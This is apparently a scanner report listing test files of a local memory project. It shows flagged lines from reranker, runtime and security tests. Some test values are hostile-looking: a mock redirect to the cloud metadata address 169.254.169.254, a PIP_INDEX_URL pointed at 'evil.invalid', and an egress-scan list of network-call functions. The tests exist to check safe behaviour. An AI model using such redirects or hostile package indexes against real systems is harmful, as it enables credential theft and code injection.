@pytest.mark.parametrize("url", [ "http://127.0.0.1:8041/v1/rerank", - Network accessline 191
"http://127.0.0.1:8041/v1/rerank", - Network accessline 192
"http://[::1]:8041/v1/rerank", - Network accessline 193
"http://localhost:8041/v1/rerank", - Network accessline 205
error = validate_remote_reranker_config( "openai", "http://8.8.8.8:8041/v1/rerank", # Google DNS, globally routable - Network accessline 206
"openai", "http://8.8.8.8:8041/v1/rerank", # Google DNS, globally routable - Network accessline 212
assert validate_remote_reranker_config( "openai", "http://192.168.50.140:8041/v1/rerank", - Network accessline 213
"openai", "http://192.168.50.140:8041/v1/rerank", - Network accessline 218
error = validate_remote_reranker_config( "openai", "http://192.168.50.140:8041/v1/rerank", - Network accessline 219
"openai", "http://192.168.50.140:8041/v1/rerank", - Access to secretsline 225
[Credential-related source omitted] - Network accessline 240
@pytest.mark.parametrize("given,expected", [ ("https://h:8041/v1/rerank", "https://h:8041/v1/rerank"), - Network accessline 241
("https://h:8041/v1/rerank", "https://h:8041/v1/rerank"), - Network accessline 242
("https://h:8041/v1/rerank/", "https://h:8041/v1/rerank"), - Network accessline 243
("https://h:8041/v1", "https://h:8041/v1/rerank"), - Network accessline 244
("https://h:8041", "https://h:8041/rerank"), - Network accessline 249
def test_credentials_are_stripped_before_logging(self) -> None: safe = redact_endpoint("http://admin:hunter2@h:8041/v1/rerank") - Network accessline 250
safe = redact_endpoint("http://admin:hunter2@h:8041/v1/rerank") - Network accessline 420
def test_endpoint_down_degrades_visibly(self, caplog) -> None: self._assert_degraded( _reranker(), _raises(httpx.ConnectError("connection refused")), - Network accessline 421
self._assert_degraded( _reranker(), _raises(httpx.ConnectError("connection refused")), caplog, - Network accessline 422
_reranker(), _raises(httpx.ConnectError("connection refused")), - Network accessline 426
def test_timeout_degrades_visibly(self, caplog) -> None: self._assert_degraded( _reranker(), _raises(httpx.ReadTimeout("timed out")), caplog, - Network accessline 427
self._assert_degraded( _reranker(), _raises(httpx.ReadTimeout("timed out")), caplog, ) - Network accessline 428
_reranker(), _raises(httpx.ReadTimeout("timed out")), caplog, - Network accessline 433
) -> None: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"results": [ - Network accessline 434
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"results": [ {"index": 0, "relevance_score": "very relevant"}, - Network accessline 435
return httpx.Response(200, json={"results": [ - Network accessline 440
def test_non_json_body_degrades(self, caplog) -> None: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, text="<html>gateway</html>") - Network accessline 441
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, text="<html>gateway</html>") self._assert_degraded(_reranker(), handler, caplog) - Network accessline 442
return httpx.Response(200, text="<html>gateway</html>") - Network accessline 448
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(400, text=canary) - Network accessline 449
return httpx.Response(400, text=canary) - Network accessline 460
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={ - Network accessline 461
return httpx.Response(200, json={ - Network accessline 475
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"results": [ - Network accessline 476
return httpx.Response(200, json={"results": [ - Network accessline 483
def handler(request: httpx.Request) -> httpx.Response: if "169.254.169.254" in str(request.url): return httpx.Response(200, json={"results": [ - Network accessline 484
if "169.254.169.254" in str(request.url): return httpx.Response(200, json={"results": [ {"index": i, "relevance_score": 99.0} for i in range(3) - Network accessline 485
return httpx.Response(200, json={"results": [ - Network accessline 486
{"index": i, "relevance_score": 99.0} for i in range(3) ]}) return httpx.Response(302, headers={ - Network accessline 487
]}) return httpx.Response(302, headers={ "location": "http://169.254.169.254/latest/meta-data/", - Network accessline 488
return httpx.Response(302, headers={ - Network accessline 489
"location": "http://169.254.169.254/latest/meta-data/", - Network accessline 505
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, content=big) - Network accessline 506
return httpx.Response(200, content=big) - Network accessline 516
def test_score_pair_returns_zero_on_failure(self) -> None: rr = _reranker() with stub_http(_raises(httpx.ConnectError("down"))): - Network accessline 517
rr = _reranker() with stub_http(_raises(httpx.ConnectError("down"))): assert rr.score_pair("q", "doc") == 0.0 - Network accessline 518
with stub_http(_raises(httpx.ConnectError("down"))): - Network accessline 522
rr = _reranker() with caplog.at_level(logging.ERROR): with stub_http(_raises(httpx.ConnectError("down"))): - Network accessline 523
with caplog.at_level(logging.ERROR): with stub_http(_raises(httpx.ConnectError("down"))): assert rr.warmup_sync() is False - Network accessline 524
with stub_http(_raises(httpx.ConnectError("down"))): - Network accessline 531
rr = _reranker() with stub_http(_raises(httpx.ConnectError("still booting")), rr): - Network accessline 532
with stub_http(_raises(httpx.ConnectError("still booting")), rr): - Network accessline 541
def test_server_error_is_retried_once(self) -> None: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(503, text="model loading") - Network accessline 543
return httpx.Response(503, text="model loading") - Network accessline 551
def test_client_error_is_not_retried(self) -> None: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(404, text="no such route") - Network accessline 553
return httpx.Response(404, text="no such route") - Network accessline 561
def test_malformed_body_is_not_retried(self) -> None: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"nope": 1}) - Network accessline 563
return httpx.Response(200, json={"nope": 1}) - Network accessline 574
calls.append(1) if len(calls) == 1: raise httpx.ConnectError("stale pooled connection") - Network accessline 575
if len(calls) == 1: raise httpx.ConnectError("stale pooled connection") return httpx.Response(200, json={"results": [ - Network accessline 576
raise httpx.ConnectError("stale pooled connection") - Network accessline 577
return httpx.Response(200, json={"results": [ - Network accessline 598
rr = _reranker() with caplog.at_level(logging.ERROR): with stub_http(_raises(httpx.ConnectError("down"))) as rec: - Network accessline 599
with caplog.at_level(logging.ERROR): with stub_http(_raises(httpx.ConnectError("down"))) as rec: for _ in range(10): - Network accessline 600
with stub_http(_raises(httpx.ConnectError("down"))) as rec: - Network accessline 612
def test_recovery_is_announced(self, caplog) -> None: rr = _reranker() with stub_http(_raises(httpx.ConnectError("down")), rr): - Network accessline 613
rr = _reranker() with stub_http(_raises(httpx.ConnectError("down")), rr): rr.rerank_with_status("q", _candidates()) - Network accessline 614
with stub_http(_raises(httpx.ConnectError("down")), rr): - Access to secretsline 636
[Credential-related source omitted] - Access to secretsline 645
[Credential-related source omitted] - Network accessline 651
[Credential-related source omitted] - Access to secretsline 651
[Credential-related source omitted] - Network accessline 652
with caplog.at_level(logging.DEBUG): with stub_http(_raises(httpx.ConnectError("down")), rr): rr.rerank_with_status("q", _candidates()) - Network accessline 653
with stub_http(_raises(httpx.ConnectError("down")), rr): - Network accessline 654
rr.rerank_with_status("q", _candidates()) with stub_http(_raises(httpx.ConnectError("down")), rr): rr.warmup_sync() - Network accessline 655
with stub_http(_raises(httpx.ConnectError("down")), rr): - Network accessline 662
url = "https://admin:hunter2@reranker.example.test/v1/rerank" - Access to secretsline 667
[Credential-related source omitted] - Network accessline 687
def handler(request: httpx.Request) -> httpx.Response: sent = json.loads(request.content)["documents"] return httpx.Response(200, json={"results": [ - Network accessline 688
sent = json.loads(request.content)["documents"] return httpx.Response(200, json={"results": [ {"index": i, "relevance_score": float(i)} - Network accessline 689
return httpx.Response(200, json={"results": [ - Network accessline 726
with stub_http(_ok_response({0: 1.0}), rr): assert rr.is_available is True with stub_http(_raises(httpx.ConnectError("down")), rr): - Network accessline 727
assert rr.is_available is True with stub_http(_raises(httpx.ConnectError("down")), rr): assert rr.is_available is False - Network accessline 728
with stub_http(_raises(httpx.ConnectError("down")), rr):
tests/test_retrieval/test_remote_reranker_breaker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 66
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 103
t.start() try: yield f"http://127.0.0.1:{port}/v1/rerank", accepted - Network accessline 104
try: yield f"http://127.0.0.1:{port}/v1/rerank", accepted finally: - Network accessline 105
yield f"http://127.0.0.1:{port}/v1/rerank", accepted - Network accessline 128
def _handler(request: httpx.Request) -> httpx.Response: requests.append(request) - Network accessline 129
requests.append(request) - Network accessline 132
def _factory(**kwargs: Any) -> httpx.Client: kwargs.pop("transport", None) return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 134
return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 140
def _ok(request: httpx.Request) -> httpx.Response: n = len(json.loads(request.content)["documents"]) return httpx.Response(200, json={"results": [ - Network accessline 141
n = len(json.loads(request.content)["documents"]) return httpx.Response(200, json={"results": [ {"index": i, "relevance_score": float(i)} for i in range(n) - Network accessline 142
return httpx.Response(200, json={"results": [ - Network accessline 147
def _down(request: httpx.Request) -> httpx.Response: raise httpx.ConnectError("connection refused") - Network accessline 148
raise httpx.ConnectError("connection refused") - Network accessline 260
rr = RemoteReranker("m", "http://127.0.0.1:9/v1", timeout_seconds=15.0) - Network accessline 263
def test_a_tighter_configured_timeout_still_wins(self) -> None: rr = RemoteReranker("m", "http://127.0.0.1:9/v1", timeout_seconds=0.3) - Network accessline 264
rr = RemoteReranker("m", "http://127.0.0.1:9/v1", timeout_seconds=0.3) - Network accessline 274
def _rr(self, clock: _FakeClock) -> RemoteReranker: return RemoteReranker( "m", "https://rr.example.test/v1", - Network accessline 275
return RemoteReranker( "m", "https://rr.example.test/v1", breaker=guard.CircuitBreaker(clock=clock), - Network accessline 276
"m", "https://rr.example.test/v1", - Network accessline 297
rr = RemoteReranker( "m", "https://rr.example.test/v1", - Network accessline 298
"m", "https://rr.example.test/v1", - Network accessline 360
def _held(request: httpx.Request) -> httpx.Response: gate.wait(5) raise httpx.ConnectError("still down") - Network accessline 362
raise httpx.ConnectError("still down") - Network accessline 384
self, ) -> None: rr = RemoteReranker("m", "https://rr.example.test/v1") - Network accessline 385
) -> None: rr = RemoteReranker("m", "https://rr.example.test/v1") with _mock_http(_ok, rr) as requests: - Network accessline 386
rr = RemoteReranker("m", "https://rr.example.test/v1") with _mock_http(_ok, rr) as requests: for _ in range(50): - Network accessline 402
rr = RemoteReranker("m", "https://rr.example.test/v1") - Network accessline 427
def test_one_failure_among_successes_never_pauses_reranking(self) -> None: rr = RemoteReranker("m", "https://rr.example.test/v1") - Network accessline 428
rr = RemoteReranker("m", "https://rr.example.test/v1") - Network accessline 432
flaky["n"] += 1 if flaky["n"] % 7 == 0: return httpx.Response(400, text="bad") - Network accessline 433
if flaky["n"] % 7 == 0: return httpx.Response(400, text="bad") return _ok(request) - Network accessline 434
return httpx.Response(400, text="bad")
tests/test_retrieval/test_remote_reranker_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 25
ENDPOINT = "https://reranker.example.test/v1/rerank" - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 154
cfg = RetrievalConfig( cross_encoder_backend="remote", cross_encoder_endpoint="https://reranker.example.test/v1", - Network accessline 155
cross_encoder_backend="remote", cross_encoder_endpoint="https://reranker.example.test/v1", cross_encoder_model=MODEL, - Network accessline 156
cross_encoder_endpoint="https://reranker.example.test/v1", - Network accessline 162
assert reranker._model_name == MODEL assert reranker._read_timeout == 4.0 assert reranker.safe_endpoint == "https://reranker.example.test/v1/rerank" - Network accessline 164
assert reranker.safe_endpoint == "https://reranker.example.test/v1/rerank" - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 351
[Credential-related source omitted]
tests/test_retrieval/test_remote_view.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_rerank_pool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_reranker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_reranker_enabled_env_gate.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_reranker_lead.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_reranker_load_errors.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_reranker_recycle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted]
tests/test_retrieval/test_reranker_warmup_backoff.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_retrieval_integration.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_review243_media_scope_wiring.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_scope_no_serialization.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_score_contract_v2.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_semantic_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_semantic_channel_performance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_semantic_channel_with_vec.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_semantic_zero_cosine_never_counts_as_evidence.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_spreading_activation.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_strategy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_strategy_present_tense.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_sufficiency.py
tests/test_retrieval/test_support_gate.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_support_recipe_per_model.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_support_tiers.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_synthetic_profiler_safety.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_tag_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_temporal_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_temporal_channel_bounded_and_fallback.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_temporal_frame.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_temporal_slice_cache.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_temporal_validity_filter.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_text_floor_per_model.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_activation_cache_holds_one_copy.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_first_recall_after_a_start_stays_inside_the_ceiling.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_graph_follows_writes_without_a_rebuild.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_graph_is_rebuilt_beside_recall.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_graph_projection_answers_the_same_as_the_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_the_hosted_check_keeps_its_deadline.py
- Executable scriptline 1
Executable file - Network accessline 55
self.head_delay, self.chunk, self.chunk_delay = head_delay, chunk, chunk_delay self.requests = 0 self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 56
self.requests = 0 self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 57
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 112
servers.append(server) monkeypatch.setitem(JEV_ENDPOINTS, "typesafe", (f"http://127.0.0.1:{server.port}/v1/systemone", MODEL)) - Network accessline 113
monkeypatch.setitem(JEV_ENDPOINTS, "typesafe", (f"http://127.0.0.1:{server.port}/v1/systemone", MODEL)) return server - Network accessline 114
(f"http://127.0.0.1:{server.port}/v1/systemone", MODEL)) - Network accessline 224
) -> None: sent: list = [] transport = httpx.MockTransport(lambda r: (sent.append(r), httpx.Response( - Network accessline 225
sent: list = [] transport = httpx.MockTransport(lambda r: (sent.append(r), httpx.Response( 200, content=_answers(list(json.loads(r.content)["state"]["memories"]))))[1]) - Network accessline 226
transport = httpx.MockTransport(lambda r: (sent.append(r), httpx.Response( - Network accessline 247
) -> None: counting_clients.build_delay = 0.2 transport = httpx.MockTransport(lambda r: httpx.Response( - Network accessline 248
counting_clients.build_delay = 0.2 transport = httpx.MockTransport(lambda r: httpx.Response( 200, content=_answers(list(json.loads(r.content)["state"]["memories"])))) - Network accessline 249
transport = httpx.MockTransport(lambda r: httpx.Response( - Network accessline 272
self.bodies: list[dict] = [] self.choose_last = choose_last self.transport = httpx.MockTransport(self._handle) - Network accessline 274
self.transport = httpx.MockTransport(self._handle) - Network accessline 279
keys = list(body["state"]["memories"]) choice = keys[-1] if CHOICE_KEY in body["questions"] else None return httpx.Response(200, content=_answers(keys, choice=choice)) - Network accessline 281
return httpx.Response(200, content=_answers(keys, choice=choice))
tests/test_retrieval/test_the_local_check_recovers_without_thrashing.py
- Executable scriptline 1
Executable file - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted]
tests/test_retrieval/test_the_order_is_the_answer_not_the_score.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_the_walk_is_the_same_answer_every_time.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_time_window.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_index_decodes_outside_the_daemon.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_presence_reads_only_the_asked_facts.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_search_binds_the_profile.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_search_is_shared_by_channels.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_search_ranks_before_it_cuts.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_vector_store.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_visibility.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_visibility_paths.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_withheld_facts_never_reach_an_answer.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wordless_picture_evidence.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_worker_stop_and_vector_decode_fallbacks.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp12a_picture_scope_cost.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp12a_snapshot.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp12b_quantization_wiring.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp6_calibration.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp6_deadlines.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp6_explicit_slots.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp6_nomic_cache.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_wp6_review_regressions.py
- Executable scriptline 1
Executable file
tests/test_runtimes/__init__.py
- Executable scriptline 1
Executable file
tests/test_runtimes/conftest.py
tests/test_runtimes/test_engine_upgrade_request.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_features.py
tests/test_runtimes/test_features_requested.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_image_ops.py
- Executable scriptline 1
Executable file - Network accessline 47
scene("a").save(d + "/x.bmp"); scene("a").save(d + "/x.tiff") scene("a").save(d + "/x.webp"); scene("a").save(d + "/x.gif") open(d + "/x.svg", "w").write("<svg xmlns='http://www.w3.org/2000/svg'><rect width='4' height='4'/></svg>") - Network accessline 48
scene("a").save(d + "/x.webp"); scene("a").save(d + "/x.gif") open(d + "/x.svg", "w").write("<svg xmlns='http://www.w3.org/2000/svg'><rect width='4' height='4'/></svg>") data = open(d + "/a.png", "rb").read(); open(d + "/cut.png", "wb").wri - Network accessline 49
open(d + "/x.svg", "w").write("<svg xmlns='http://www.w3.org/2000/svg'><rect width='4' height='4'/></svg>") - Access to secretsline 82
[Credential-related source omitted]
tests/test_runtimes/test_managed_env.py
- Executable scriptline 1
Executable file - Network accessline 18
LOCK_TEXT = "# --index-url https://example.invalid/cpu\nfoo==1.0 \\\n --hash=sha256:" + "a" * 64 + "\n" - Access to secretsline 216
[Credential-related source omitted] - Network accessline 240
def test_lock_header_index_lines_are_read_with_or_without_comment(): text = "# --index-url https://a\n--extra-index-url https://b\nfoo==1 --hash=sha256:00\n" - Network accessline 241
text = "# --index-url https://a\n--extra-index-url https://b\nfoo==1 --hash=sha256:00\n" - Network accessline 242
assert me._lock_index_args(text) == ["--index-url", "https://a", "--extra-index-url", "https://b"] - Network accessline 245
def test_pip_is_strict_and_environment_is_clean(tmp_path, src, lock, monkeypatch): monkeypatch.setenv("PIP_INDEX_URL", "https://evil.invalid") - Network accessline 246
monkeypatch.setenv("PIP_INDEX_URL", "https://evil.invalid") - Network accessline 290
def fetch(self, python, dest, *, progress, cancel=None): - Network accessline 322
cancel = threading.Event() cancel.set() ok, kind, _ = LocalDirSource(src).fetch(Path("py"), tmp_path / "dest", progress=lambda f, s: None, - Network accessline 323
cancel.set() ok, kind, _ = LocalDirSource(src).fetch(Path("py"), tmp_path / "dest", progress=lambda f, s: None, cancel=cancel) - Network accessline 324
ok, kind, _ = LocalDirSource(src).fetch(Path("py"), tmp_path / "dest", progress=lambda f, s: None,
tests/test_runtimes/test_managed_reindex_errors.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_managed_text.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_managed_text_long_memory.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_measure_media_ram.py
tests/test_runtimes/test_media_canary_and_ports.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_media_locks.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_media_models.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_media_ram_gate.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_multimodal_worker.py
tests/test_runtimes/test_multimodal_worker_loader.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_ocr_offline_models.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_runtime_relocation.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_space_plan.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_text_embedder_stop_hook.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_worker_client.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_worker_memory_guard.py
tests/test_runtimes/test_worker_passes.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_worker_stderr.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_wp12a_image_summary.py
- Executable scriptline 1
Executable file
tests/test_runtimes/test_wp12b_multilingual_ocr.py
- Executable scriptline 1
Executable file
tests/test_scripts/__init__.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_answer_quality_eval.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_answerability_conditions.py
tests/test_scripts/test_answerability_embedder_option.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_answerability_fit.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_answerability_fixtures.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_answerability_questions.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_build_hermes_plugin_stamps_doc_version.js
- Executable scriptline 1
#!/usr/bin/env node
tests/test_scripts/test_demo_answer_check.py
- Executable scriptline 1
Executable file
tests/test_scripts/test_dogfood_savings.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 250
[Credential-related source omitted] - Access to secretsline 272
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 330
[Credential-related source omitted] - Access to secretsline 339
[Credential-related source omitted] - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 357
[Credential-related source omitted] - Access to secretsline 366
[Credential-related source omitted]
tests/test_security/__init__.py
- Executable scriptline 1
Executable file
tests/test_security/_egress_scan.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 21
*(f"httpx.{m}" for m in ("post", "get", "put", "patch", "delete", "head", "options", "request", "stream", "Client", "AsyncClient")), "urllib.request.urlopen", "urllib.request.build_opener", - Network accessline 22
"options", "request", "stream", "Client", "AsyncClient")), "urllib.request.urlopen", "urllib.request.build_opener", "urllib.request.OpenerDirector", - Network accessline 23
"urllib.request.urlopen", "urllib.request.build_opener", - Network accessline 26
"request", "Session")), "aiohttp.ClientSession", "aiohttp.request", "http.client.HTTPConnection", "http.client.HTTPSConnection", - Network accessline 27
"aiohttp.ClientSession", "aiohttp.request", "http.client.HTTPConnection", "http.client.HTTPSConnection", "socket.create_connection", "asyncio.open_connection", - Network accessline 28
"http.client.HTTPConnection", "http.client.HTTPSConnection", "socket.create_connection", "asyncio.open_connection", "openai.OpenAI", "openai.AsyncOpenAI", "openai.AzureOpenAI", "openai.AsyncAzureOpenAI",
tests/test_security/_routed_host.py
- Executable scriptline 1
Executable file
